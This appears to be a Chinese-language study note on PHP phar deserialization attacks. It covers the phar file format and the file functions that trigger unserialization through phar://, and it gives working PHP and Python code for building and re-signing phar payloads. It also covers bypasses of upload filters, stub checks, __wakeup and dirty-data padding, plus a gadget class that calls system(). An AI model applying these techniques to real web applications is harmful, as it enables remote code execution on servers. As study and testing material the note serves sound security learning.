参考链接
https://xz.aliyun.com/t/2958
https://www.cnblogs.com/CoLo/p/16786627.html
https://xz.aliyun.com/t/6699#toc-3
https://boogipop.com/2023/07/08/Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%85%B6%E4%B8%80%E7%B3%BB%E5%88%97%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/
原理
想要知道为什么使用phar协议去读取phar文件会触发反序列化,需要先来了解一些前置知识。
看一眼phar文件的组成,这是翻译过的
https://www.php.net/manual/zh/phar.fileformat.ingredients.php
stub
stub就是
<?php __HALT_COMPILER();?>
一个phar文件必须要有此标识符,否则无法识别成phar
manifest describing the contents
内容本质上还是压缩文件,其中包含一些压缩信息,以及我们写入的序列化数据
the file contents
这里指的是被压缩文件的内容;
[optional] a signature for verifying Phar integrity (phar file format only)
phar文件的签名
签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密
不过通常用的都是sha1啊,当文件内容被修改时,就需要重新签名
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件
Demo
<?php
class TestObject {
}
$o = new TestObject();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest,也就是将序列化数据写入文件
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
注意点:php.ini中的phar.readonly要为off
当使用一些文件读取函数去配合phar协议读取phar文件时,即会触发phar反序列化,具体的流程大概是,识别到了phar头,进入处理phar文件的环节,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。
这个要去看php底层源码,我不会欸,以后学了再来补。
触发
一些常规函数
Stream API
stream = php_stream_open_wrapper_ex(filename, "rb",
(use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
NULL, context);
可以注意,其使用的是php_stream系列API来打开一个文件。阅读PHP的这篇文档:Streams API for PHP Extension Authors,可知,Stream API是PHP中一种统一的处理文件的方法,并且其被设计为可扩展的,允许任意扩展作者使用。而本次事件的主角,也就是phar这个扩展,其就注册了phar://这个stream wrapper。可以使用stream_get_wrapper看到系统内注册了哪一些wrapper,但其余的没什么值得关注的。
php > var_dump(stream_get_wrappers());
array(12) {
[0]=>
string(5) "https"
[1]=>
string(4) "ftps"
[2]=>
string(13) "compress.zlib"
[3]=>
string(14) "compress.bzip2"
[4]=>
string(3) "php"
[5]=>
string(4) "file"
[6]=>
string(4) "glob"
[7]=>
string(4) "data"
[8]=>
string(4) "http"
[9]=>
string(3) "ftp"
[10]=>
string(4) "phar"
[11]=>
string(3) "zip"
}
因此,我们发现,一个 stream wrapper,它支持以下功能:打开文件(夹)、删除文件(夹)、重命名文件(夹),以及获取文件的meta。我们很容易就能断定,类似unlink等函数也是同样通过这个 streams api 进行操作。
下面就是一些php代码调试的一些函数,我就不太懂了,我这边就直接记录一下结果把
exif
- exif_thumbnail
- exif_imagetype
gd
- imageloadfont
- imagecreatefrom***
hash
- hash_hmac_file
- hash_file
- hash_update_file
- md5_file
- sha1_file
file / url
- get_meta_tags
- get_headers
standard
- getimagesize
- getimagesizefromstring
zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
Postgres
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。
Mysql
Mysql的load data local infile也会触发php_stream_open_wrapper
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
Bypass
基础bypass
这里就大概讲一下,当ban了phar文件后缀时,可以直接对后缀进行更改,不影响phar协议的读取,因为他是通过数据中的stub头来判断的
如果ban了stub头,那么可以将phar文件进行一次压缩,建议使用linux的自带压缩gzip,使用windows的bandzip等会导致算法问题无法触发
gzip 1.zip 1.phar
配合phar://1.zip/1.phar
如果不允许以phar协议开头,那么可以带个其他协议
compress.zlib://phar://phar.phar/test.txt
绕过wakeup
通过010去修改其属性值,并用脚本重新签名
from hashlib import sha1
file = open('test.phar', 'rb').read() # 需要重新生成签名的phar文件
data = file[:-28] # 获取需要签名的据
final = file[-8:] # 获取最后8位GBMB标识和签名类型
newfile = data + sha1(data).digest() + final # 数据 + 签名 + 类型 + GBMB
open('poc.phar', 'wb').write(newfile) # 写入到新的phar文件
phar脏数据绕过
懒,纯纯复制pop爷博客
绕过头部脏数据
当文件上传之后,在文件数据前面拼接了脏数据,再进行文件函数配合phar协议读取时,就会因为签名原因导致无法反序列化,这种情况下,就需要在生成phar文件时,将已知的脏数据设置在stub中,计算完签名后将文件中的脏数据删除即可
<?php
class A{
}
$a=new A();
//前面的脏数据
$dirtydata = "dirty";
$phar = new Phar("phar.phar");
$phar->startBuffering();
//在stub头中添加脏数据
$phar->setStub($dirtydata."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
//添加压缩文件
$phar->addFromString("anything" , "test");
//自动计算签名
$phar->stopBuffering();
//读取phar文件
$exp = file_get_contents("./phar.phar");
$post_exp = substr($exp, strlen($dirtydata));
//删除脏数据头
$exp = file_put_contents("./break_phar.phar",$post_exp);
?>
测试
<?php
class A{
public function __destruct()
{
echo "AAAA";
}
}
$dirty="dirty";
$old=file_get_contents("./phar/break_phar.phar");
$new=$old.$dirty;
$new= $dirty.$old;
file_put_contents("./phar/new.phar",$new);
file_get_contents("phar://./phar/new.phar");
绕过尾部脏数据
也就是在文件数据尾部拼接脏数据,这个绕过起来就比较方便,不需要知道内容
使用tar格式自动忽略,因为tar格式有暂停解析位,在之后添加的数据都不会解析的。
<?php
class A{
}
$a=new A();
//因为用的tar格式,所以不需要指定stub头
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
$phar->addFromString("test" , "test");
$phar->stopBuffering();
PharData的构造函数的参数
//那个0是啥我还真不知道
触发测试
<?php
class A{
public function __destruct()
{
echo "AAAA";
}
}
$dirty="dirty";
$old=file_get_contents("./phar/phar.tar");
$new=$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar");
绕过前后脏数据
两个加起来就行
<?php
class A{
}
$a=new A();
//前面的脏数据
$dirtydata="dirty";
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
//设置开头数据
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
//读取原文件,截取,删除
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
?>
<?php
class A{
public function __destruct()
{
echo "AAA";
}
}
$front="dirty";
$dirty="dirty";
$old=file_get_contents("./phar/break_phar.tar");
$new=$front.$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar");